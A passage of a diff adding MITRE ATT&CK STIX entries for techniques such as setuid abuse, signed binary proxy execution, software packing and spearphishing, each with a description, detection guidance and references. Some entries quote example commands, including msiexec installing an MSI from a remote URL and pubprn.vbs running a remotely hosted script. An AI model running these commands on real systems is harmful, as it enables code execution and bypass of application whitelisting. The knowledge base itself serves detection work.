"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "source_name": "SecureWorks WannaCry Analysis", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "modified": "2019-07-18T19:18:32.674Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Setuid and Setgid", + "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).", + "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_effective_permissions": [ + "Administrator", + "root" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1166", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1166" + }, + { + "source_name": "setuid man page", + "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.", + "url": "http://man7.org/linux/man-pages/man2/setuid.2.html" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + } + ], + "modified": "2019-06-24T12:06:41.014Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "type": "attack-pattern", + "name": "Shared Webroot", + "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)", + "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Shared webroot directory on remote system" + ], + "x_mitre_detection": "Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:46.047Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1051", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1051" + }, + { + "source_name": "capec", + "external_id": "CAPEC-563", + "url": "https://capec.mitre.org/data/definitions/563.html" + }, + { + "source_name": "Microsoft Web Root OCT 2016", + "description": "Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018." + }, + { + "source_name": "Apache Server 2018", + "description": "Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.", + "url": "http://httpd.apache.org/docs/2.4/getting-started.html#content" + }, + { + "source_name": "Webroot PHP 2011", + "description": "Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.", + "url": "https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/" + } + ], + "modified": "2019-07-18T19:27:00.679Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Shortcut Modification", + "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", + "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Travis Smith, Tripwire" + ], + "created": "2017-05-31T21:30:30.757Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1023", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1023" + }, + { + "source_name": "capec", + "external_id": "CAPEC-132", + "url": "https://capec.mitre.org/data/definitions/132.html" + } + ], + "modified": "2019-07-18T19:28:08.364Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Signed Binary Proxy Execution", + "description": "Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.\n\n### Msiexec.exe\nMsiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may use msiexec.exe to launch malicious MSI files for code execution. An adversary may use it to launch local or network accessible MSI files.(Citation: LOLBAS Msiexec)(Citation: Rancor Unit42 June 2018)(Citation: TrendMicro Msiexec Feb 2018) Msiexec.exe may also be used to execute DLLs.(Citation: LOLBAS Msiexec)\n\n* msiexec.exe /q /i \"C:\\path\\to\\file.msi\"\n* msiexec.exe /q /i http[:]//site[.]com/file.msi\n* msiexec.exe /y \"C:\\path\\to\\file.dll\"\n\n### Mavinject.exe\nMavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)\n\n* \"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe\" <PID> /INJECTRUNNING <PATH DLL>\n* C:\\Windows\\system32\\mavinject.exe <PID> /INJECTRUNNING <PATH DLL>\n\n### SyncAppvPublishingServer.exe\nSyncAppvPublishingServer.exe can be used to run PowerShell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)\n\n### Odbcconf.exe\nOdbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The utility can be misused to execute functionality equivalent to [Regsvr32](https://attack.mitre.org/techniques/T1117) with the REGSVR option to execute a DLL.(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)\n\n* odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}\n\nSeveral other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)", + "x_mitre_remote_support": false, + "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "modified": "2019-06-24T11:36:15.702Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Nishan Maharjan, @loki248", + "Hans Christoffer Gaardl\u00f8s", + "Praetorian" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1218", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218" + }, + { + "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.", + "source_name": "LOLBAS Msiexec", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/" + }, + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + }, + { + "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.", + "source_name": "TrendMicro Msiexec Feb 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/" + }, + { + "description": "Giuseppe. (2017, December 14). gN3mes1s Status Update. Retrieved April 10, 2018.", + "source_name": "Twitter gN3mes1s Status Update MavInject32", + "url": "https://twitter.com/gn3mes1s/status/941315826107510784" + }, + { + "source_name": "Twitter monoxgas Status Update SyncAppvPublishingServer", + "description": "Landers, N. (2017, August 8). monoxgas Status Update. Retrieved April 10, 2018.", + "url": "https://twitter.com/monoxgas/status/895045566090010624" + }, + { + "source_name": "Microsoft odbcconf.exe", + "description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.", + "url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017" + }, + { + "description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.", + "source_name": "LOLBAS Odbcconf", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/" + }, + { + "description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.", + "source_name": "TrendMicro Squiblydoo Aug 2017", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/" + }, + { + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "source_name": "TrendMicro Cobalt Group Nov 2017", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + }, + { + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", + "source_name": "GitHub Ultimate AppLocker Bypass List", + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Digital Certificate Validation" + ] + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Signed Script Proxy Execution", + "description": "Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.\n\nPubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png\n\nThere are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)", + "x_mitre_remote_support": false, + "id": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", + "modified": "2019-06-24T11:33:52.628Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1216", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1216" + }, + { + "source_name": "Enigma0x3 PubPrn Bypass", + "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.", + "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/" + }, + { + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", + "source_name": "GitHub Ultimate AppLocker Bypass List", + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Digital Certificate Validation" + ] + }, + { + "x_mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Software Discovery", + "description": "Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "id": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T17:52:44.147Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1518", + "url": "https://attack.mitre.org/techniques/T1518" + } + ], + "modified": "2019-09-27T19:03:39.143Z" + }, + { + "x_mitre_data_sources": [ + "Binary file metadata" + ], + "name": "Software Packing", + "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)", + "id": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "modified": "2019-09-26T15:56:47.231Z", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Filip Kafka, ESET" + ], + "created": "2017-05-31T21:30:43.472Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1045", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1045" + }, + { + "source_name": "capec", + "external_id": "CAPEC-570", + "url": "https://capec.mitre.org/data/definitions/570.html" + }, + { + "source_name": "Wikipedia Exe Compression", + "description": "Executable compression. (n.d.). Retrieved December 4, 2014.", + "url": "http://en.wikipedia.org/wiki/Executable_compression" + }, + { + "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.", + "source_name": "ESET FinFisher Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf" + } + ], + "x_mitre_defense_bypassed": [ + "Signature-based detection", + "Anti-virus", + "Heuristic detection" + ] + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Source", + "description": "The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.", + "x_mitre_remote_support": false, + "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1153", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1153" + }, + { + "description": "ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.", + "source_name": "Source Manual", + "url": "https://ss64.com/bash/source.html" + } + ], + "modified": "2019-05-21T13:24:49.196Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Space after Filename", + "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", + "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Erye Hernandez, Palo Alto Networks" + ], + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1151", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1151" + }, + { + "source_name": "capec", + "external_id": "CAPEC-649", + "url": "https://capec.mitre.org/data/definitions/649.html" + }, + { + "source_name": "Mac Backdoors are back", + "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.", + "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" + } + ], + "modified": "2019-06-18T14:05:31.754Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Packet capture", + "Network intrusion detection system", + "Detonation chamber", + "Email gateway", + "Mail server" + ], + "name": "Spearphishing Attachment", + "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", + "id": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "external_references": [ + { + "external_id": "T1193", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1193" + }, + { + "source_name": "capec", + "external_id": "CAPEC-163", + "url": "https://capec.mitre.org/data/definitions/163.html" + } + ], + "modified": "2019-06-24T11:14:19.994Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Web proxy", + "Email gateway", + "Detonation chamber", + "SSL/TLS inspection", + "DNS records", + "Mail server" + ], + "name": "Spearphishing Link", + "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", + "id": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Office 365", + "SaaS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Shailesh Tiwary (Indian Army)", + "Mark Wee", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "external_references": [ + { + "external_id": "T1192", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1192" + }, + { + "source_name": "capec", + "external_id": "CAPEC-163", + "url": "https://capec.mitre.org/data/definitions/163.html" + }, + { + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "source_name": "Trend Micro Pawn Storm OAuth 2017", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks" + } + ], + "modified": "2019-10-18T15:19:13.265Z" + }, + { + "x_mitre_data_sources": [ + "SSL/TLS inspection", + "Anti-virus", + "Web proxy" + ], + "name": "Spearphishing via Service", + "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", + "id": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "external_references": [ + 